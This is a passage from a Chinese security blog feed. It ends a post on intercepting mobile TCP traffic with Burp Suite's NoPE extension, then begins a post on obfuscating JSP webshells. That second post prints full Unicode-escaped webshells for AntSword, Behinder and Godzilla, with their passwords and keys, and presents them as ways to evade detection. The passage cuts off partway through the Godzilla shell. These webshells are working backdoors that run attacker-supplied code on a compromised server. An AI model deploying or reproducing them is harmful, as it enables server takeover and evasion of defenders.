<li>点击【Add 80 &amp; 443 to Burp】，将80、443端口添加到Burp。<br><img data-src="https://s2.loli.net/2023/04/05/43uOz8AFJcrLQIh.png"><br>设置完之后回到【Proxy】选项卡的【Options】看一下，并且将Invisible设置为勾选（如果没勾选)。Ps：这时候可以使用手机进行操作，看看BurpSuite能不能拦截到HTTP的包。<br><img data-src="https://s2.loli.net/2023/04/05/s5rwdkVUYfDW1Sm.png"></li>
</ol>
<h2 id="HTTP-Proxy设置"><a href="#HTTP-Proxy设置" class="headerlink" title="HTTP Proxy设置"></a>HTTP Proxy设置</h2><p>设置完Server之后，在【NoPE Proxy】选项卡的【Server Config】中启动DNS服务，直接点击那个大大的绿色箭头就可以了，显示红色为已经运行。<br><img data-src="https://s2.loli.net/2023/04/05/57cIf4xiOXUeM2j.png"><br>查看【DNS History】选项卡中的DNS记录，获取Domain、Port等信息。</p>
<ol>
<li>开启Port Monitor；</li>
<li>在手机上进行操作,**<font color=red>手机DNS配置成PC的地址</font>**；</li>
<li>获取Domain和与其对应的Port。<br>在获取对应Port有可能会有点烦，我在获取Port的时候每次会有一堆的信息冒出来，导致并不知道那个Port跟domain是对应上的，所以点了好多次。<br><img data-src="https://s2.loli.net/2023/04/05/nzFV3mY65rxX4JL.png"><br>获取到Domain与Port之后，回到【Server Config】选项卡中，将信息填入到【Non HTTP Proxy Settings】中，例如我现在有了一个domain为xxxx.com，端口为8020，将其填入对应的地方进行添加，添加之后勾选Enable即可。<br><img data-src="https://s2.loli.net/2023/04/05/jLqe4rcFhNAJMdO.png"></li>
</ol>
<h2 id="拦截TCP流量"><a href="#拦截TCP流量" class="headerlink" title="拦截TCP流量"></a>拦截TCP流量</h2><p>通过上面的配置，现在已经可以通过NoPE拦截非HTTP协议的流量。在【TCP intercept】选项卡开启【Intercept is ON】，在手机上进行操作，就可以在下面看到对应的请求包。<br><img data-src="https://s2.loli.net/2023/04/05/FEPsGBU58cTSOgY.png"><br>由于我这边已经把包放过了，给大家看下历史记录的包。<br><img data-src="https://s2.loli.net/2023/04/05/OpXxq3YuKQeF8yG.png"></p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>通过这种方式已经可以拦截到TCP的流量，但是通过NoPE感觉操作很繁琐。不知道有没有比的简单、优雅的方式？</p>
<p>[1]:	<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL3N1bW1pdHQvQnVycC1Ob24tSFRUUC1FeHRlbnNpb24vcmVsZWFzZXM=">https://github.com/summitt/Burp-Non-HTTP-Extension/releases<i class="fa fa-external-link-alt"></i></span> “NoPE下载地址”</p>
]]></content>
      <categories>
        <category>安全</category>
        <category>渗透测试</category>
      </categories>
      <tags>
        <tag>工具</tag>
      </tags>
  </entry>
  <entry>
    <title>Webshell混淆-jsp类型</title>
    <url>/archives/a5dc99c.html</url>
    <content><![CDATA[<p>由于现在常见的shell（蚁剑、冰蝎、哥斯拉等），极其容易被一眼识破。因此，需要掌握一定的webshell混淆技巧用于对抗。</p>
<p><img data-src="https://i.loli.net/2021/08/09/hPnfXdBZYzTb7Es.png" alt="antUnicode"></p>
<span id="more"></span>

<h1 id="编码"><a href="#编码" class="headerlink" title="编码"></a>编码</h1><p>根据不同的编码混淆webshell。下面提供不同编码下蚁剑、冰蝎、哥斯拉等shell。</p>
<h2 id="Unicode"><a href="#Unicode" class="headerlink" title="Unicode"></a>Unicode</h2><h3 id="蚁剑"><a href="#蚁剑" class="headerlink" title="蚁剑"></a>蚁剑</h3><p>蚁剑，密码ant</p>
<figure class="highlight jsp"><table><tr><td class="code"><pre><span class="line">&lt;%!\u0063\u006c\u0061\u0073\u0073\u0020\u0055\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u007b\u0055\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u0063\u0029\u0020\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u0063\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0067\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0029\u0020\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0062\u002c\u0020\u0030\u002c\u0020\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u000a\u0020\u0020\u0020\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0074\u0072\u0029\u0020\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0074\u0072\u0079\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0022\u0073\u0075\u006e\u002e\u006d\u0069\u0073\u0063\u002e\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u0065\u0063\u006f\u0064\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0073\u0074\u0072\u0020\u007d\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0074\u0072\u0079\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0022\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u0042\u0061\u0073\u0065\u0036\u0034\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0067\u0065\u0074\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0022\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u0065\u0063\u006f\u0064\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0073\u0074\u0072\u0020\u007d\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0065\u0029\u0020\u007b\u007d\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0076\u0061\u006c\u0075\u0065\u003b\u000a\u0020\u0020\u0020\u0020\u007d</span><br><span class="line">%&gt;</span><br><span class="line">&lt;%</span><br><span class="line">\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0063\u006c\u0073\u0020\u003d\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0061\u006e\u0074\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0069\u0066\u0020\u0028\u0063\u006c\u0073\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006e\u0065\u0077\u0020\u0055\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0067\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0063\u006c\u0073\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002c\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u007d\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u007d</span><br><span class="line">%&gt;</span><br></pre></td></tr></table></figure>

<h3 id="冰蝎"><a href="#冰蝎" class="headerlink" title="冰蝎"></a>冰蝎</h3><p>冰蝎，密码rebeyond</p>
<figure class="highlight jsp"><table><tr><td class="code"><pre><span class="line">&lt;%<span class="meta">@page</span> <span class="keyword">import</span>=<span class="string">&quot;\u006a\u0061\u0076\u0061.\u0075\u0074\u0069\u006c.*,\u006a\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.*,\u006a\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.\u0073\u0070\u0065\u0063.*&quot;</span>%&gt;&lt;%!\u0063\u006c\u0061\u0073\u0073\u0020\u0055\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u007b\u0055\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u0063\u0029\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u0063\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0067\u0028\u0062\u0079\u0074\u0065\u0020\u005b\u005d\u0062\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0062\u002c\u0030\u002c\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u007d%&gt;&lt;%\u0069\u0066\u0020\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028<span class="string">&quot;POST&quot;</span>\u0029\u0029\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006b\u003d<span class="string">&quot;e45e329feb5d925b&quot;</span>\u003b\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0070\u0075\u0074\u0056\u0061\u006c\u0075\u0065\u0028<span class="string">&quot;u&quot;</span>\u002c\u006b\u0029\u003b\u0043\u0069\u0070\u0068\u0065\u0072\u0020\u0063\u003d\u0043\u0069\u0070\u0068\u0065\u0072\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028<span class="string">&quot;AES&quot;</span>\u0029\u003b\u0063\u002e\u0069\u006e\u0069\u0074\u0028\u0032\u002c\u006e\u0065\u0077\u0020\u0053\u0065\u0063\u0072\u0065\u0074\u004b\u0065\u0079\u0053\u0070\u0065\u0063\u0028\u006b\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c<span class="string">&quot;AES&quot;</span>\u0029\u0029\u003b\u006e\u0065\u0077\u0020\u0055\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0067\u0028\u0063\u002e\u0064\u006f\u0046\u0069\u006e\u0061\u006c\u0028\u006e\u0065\u0077\u0020\u0073\u0075\u006e\u002e\u006d\u0069\u0073\u0063\u002e\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0028\u0029\u002e\u0064\u0065\u0063\u006f\u0064\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u0029\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u0029\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0070\u0061\u0067\u0065\u0043\u006f\u006e\u0074\u0065\u0078\u0074\u0029\u003b\u007d%&gt;</span><br></pre></td></tr></table></figure>

<h3 id="哥斯拉"><a href="#哥斯拉" class="headerlink" title="哥斯拉"></a>哥斯拉</h3><p>哥斯拉，密码pass，密钥key</p>
<figure class="highlight jsp"><table><tr><td class="code"><pre><span class="line">&lt;%! \u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0078\u0063\u003d<span class="string">&quot;3c6e0b8a9c15224a&quot;</span>\u003b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0070\u0061\u0073\u0073\u003d<span class="string">&quot;pass&quot;</span>\u003b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006d\u0064\u0035\u003d\u006d\u0064\u0035\u0028\u0070\u0061\u0073\u0073\u002b\u0078\u0063\u0029\u003b\u0020\u0063\u006c\u0061\u0073\u0073\u0020\u0058\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u007b\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0058\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u007a\u0029\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u007a\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0051\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0063\u0062\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0063\u0062\u002c\u0020\u0030\u002c\u0020\u0063\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u0020\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0078\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0073\u002c\u0062\u006f\u006f\u006c\u0065\u0061\u006e\u0020\u006d\u0029\u007b\u0020\u0074\u0072\u0079\u007b\u006a\u0061\u0076\u0061\u0078\u002e\u0063\u0072\u0079\u0070\u0074\u006f\u002e\u0043\u0069\u0070\u0068\u0065\u0072\u0020\u0063\u003d\u006a\u0061\u0076\u0061\u0078\u002e\u0063\u0072\u0079\u0070\u0074\u006f\u002e\u0043\u0069\u0070\u0068\u0065\u0072\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028<span class="string">&quot;\u0041\u0045\u0053&quot;</span>)\u003b\u0063\u002e\u0069\u006e\u0069\u0074\u0028\u006d\u003f\u0031\u003a\u0032\u002c\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u0078\u002e\u0063\u0072\u0079\u0070\u0074\u006f\u002e\u0073\u0070\u0065\u0063\u002e\u0053\u0065\u0063\u0072\u0065\u0074\u004b\u0065\u0079\u0053\u0070\u0065\u0063\u0028\u0078\u0063\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c<span class="string">&quot;\u0041\u0045\u0053&quot;</span>\u0029\u0029\u003b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0063\u002e\u0064\u006f\u0046\u0069\u006e\u0061\u006c\u0028\u0073\u0029\u003b\u0020\u007d\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u006e\u0075\u006c\u006c\u003b\u0020\u007d\u007d\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0073\u0074\u0061\u0074\u0069\u0063\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006d\u0064\u0035\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0029\u0020\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0072\u0065\u0074\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u0074\u0072\u0079\u0020\u007b\u006a\u0061\u0076\u0061\u002e\u0073\u0065\u0063\u0075\u0072\u0069\u0074\u0079\u002e\u004d\u0065\u0073\u0073\u0061\u0067\u0065\u0044\u0069\u0067\u0065\u0073\u0074\u0020\u006d\u003b\u006d\u0020\u003d\u0020\u006a\u0061\u0076\u0061\u002e\u0073\u0065\u0063\u0075\u0072\u0069\u0074\u0079\u002e\u004d\u0065\u0073\u0073\u0061\u0067\u0065\u0044\u0069\u0067\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028<span class="string">&quot;\u004d\u0044\u0035&quot;</span>\u0029\u003b\u006d\u002e\u0075\u0070\u0064\u0061\u0074\u0065\u0028\u0073\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c\u0020\u0030\u002c\u0020\u0073\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0028\u0029\u0029\u003b\u0072\u0065\u0074\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u006d\u0061\u0074\u0068\u002e\u0042\u0069\u0067\u0049\u006e\u0074\u0065\u0067\u0065\u0072\u0028\u0031\u002c\u0020\u006d\u002e\u0064\u0069\u0067\u0065\u0073\u0074\u0028\u0029\u0029\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0031\u0036\u0029\u002e\u0074\u006f\u0055\u0070\u0070\u0065\u0072\u0043\u0061\u0073\u0065\u0028\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0072\u0065\u0074\u003b\u0020\u007d\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0073\u0074\u0061\u0074\u0069\u0063\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0045\u006e\u0063\u006f\u0064\u0065\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0073\u0029\u0020\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u007b\u0043\u006c\u0061\u0073\u0073\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u0074\u0072\u0079\u0020\u007b\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028<span class="string">&quot;\u006a\u0061\u0076\u0061.\u0075\u0074\u0069\u006c.\u0042\u0061\u0073\u0065\u0036\u0034&quot;</span>\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028<span class="string">&quot;\u0067\u0065\u0074\u0045\u006e\u0063\u006f\u0064\u0065\u0072&quot;</span>\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u003b\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0029\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028<span class="string">&quot;encodeToString&quot;</span>\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0074\u0072\u0079\u0020\u007b\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028<span class="string">&quot;\u0073\u0075\u006e.\u006d\u0069\u0073\u0063.\u0042\u0041\u0053\u0045\u0036\u0034\u0045\u006e\u0063\u006f\u0064\u0065\u0072&quot;</span>\u0029\u003b\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0029\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028<span class="string">&quot;encode&quot;</span>\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0032\u0029\u0020\u007b\u007d\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0076\u0061\u006c\u0075\u0065\u003b\u0020\u007d\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0073\u0074\u0061\u0074\u0069\u0063\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0062\u0073\u0029\u0020\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u007b\u0043\u006c\u0061\u0073\u0073\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u0074\u0072\u0079\u0020\u007b\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028<span class="string">&quot;\u006a\u0061\u0076\u0061.\u0075\u0074\u0069\u006c.\u0042\u0061\u0073\u0065\u0036\u0034&quot;</span>\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028<span class="string">&quot;getDecoder&quot;</span>\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u003b\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u0065\u0063\u006f\u0064\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\